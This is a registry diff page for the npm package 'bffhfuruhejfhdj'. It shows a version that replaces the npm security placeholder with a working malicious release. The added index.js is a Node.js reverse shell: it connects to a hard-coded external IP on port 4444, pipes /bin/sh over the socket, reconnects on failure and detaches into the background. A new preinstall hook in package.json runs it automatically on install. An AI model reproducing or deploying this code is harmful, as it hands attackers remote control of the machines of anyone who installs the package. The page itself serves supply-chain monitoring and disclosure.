bffhfuruhejfhdj 0.0.1-security → 2.9.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bffhfuruhejfhdj might be problematic. Click here for more details.
- package/index.js +62 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,62 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
|
4
|
+
const HOST = "134.209.149.207"; // Replace with the attacker's IP
|
5
|
+
const PORT = 4444; // Match this with the listener port
|
6
|
+
|
7
|
+
function startReverseShell() {
|
8
|
+
const client = new net.Socket();
|
9
|
+
|
10
|
+
client.connect(PORT, HOST, () => {
|
11
|
+
console.log(`Connection established with ${HOST}:${PORT}`);
|
12
|
+
|
13
|
+
// Spawn a shell process
|
14
|
+
const shell = spawn("/bin/sh", []);
|
15
|
+
|
16
|
+
// Forward data from client to shell (attacker's input)
|
17
|
+
client.on("data", (data) => {
|
18
|
+
shell.stdin.write(data); // Send attacker input to the shell
|
19
|
+
});
|
20
|
+
|
21
|
+
// Forward shell stdout (shell output) back to client (attacker)
|
22
|
+
shell.stdout.on("data", (data) => {
|
23
|
+
client.write(data); // Return shell output to the attacker
|
24
|
+
});
|
25
|
+
|
26
|
+
// Forward shell stderr (shell errors) back to client
|
27
|
+
shell.stderr.on("data", (data) => {
|
28
|
+
client.write(data); // Return shell error output to the attacker
|
29
|
+
});
|
30
|
+
|
31
|
+
// Handle shell process close
|
32
|
+
shell.on("close", () => {
|
33
|
+
console.log("Shell process closed. Ending client connection.");
|
34
|
+
client.end();
|
35
|
+
});
|
36
|
+
});
|
37
|
+
|
38
|
+
// Retry on errors
|
39
|
+
client.on("error", (err) => {
|
40
|
+
console.error("Connection error:", err.message);
|
41
|
+
setTimeout(startReverseShell, 5000); // Reconnect after a delay
|
42
|
+
});
|
43
|
+
|
44
|
+
// Retry on close
|
45
|
+
client.on("close", () => {
|
46
|
+
console.log("Connection closed. Reconnecting...");
|
47
|
+
setTimeout(startReverseShell, 5000); // Reconnect after a delay
|
48
|
+
});
|
49
|
+
}
|
50
|
+
|
51
|
+
// Self-detaching logic for background mode
|
52
|
+
if (process.argv.includes("--background")) {
|
53
|
+
startReverseShell();
|
54
|
+
} else {
|
55
|
+
const backgroundProcess = spawn("node", [__filename, "--background"], {
|
56
|
+
detached: true,
|
57
|
+
stdio: "ignore", // Ignore the parent output
|
58
|
+
});
|
59
|
+
|
60
|
+
backgroundProcess.unref();
|
61
|
+
console.log("Process complete. Reverse shell running in the background.");
|
62
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "bffhfuruhejfhdj",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "2.9.0",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=bffhfuruhejfhdj for more information.
|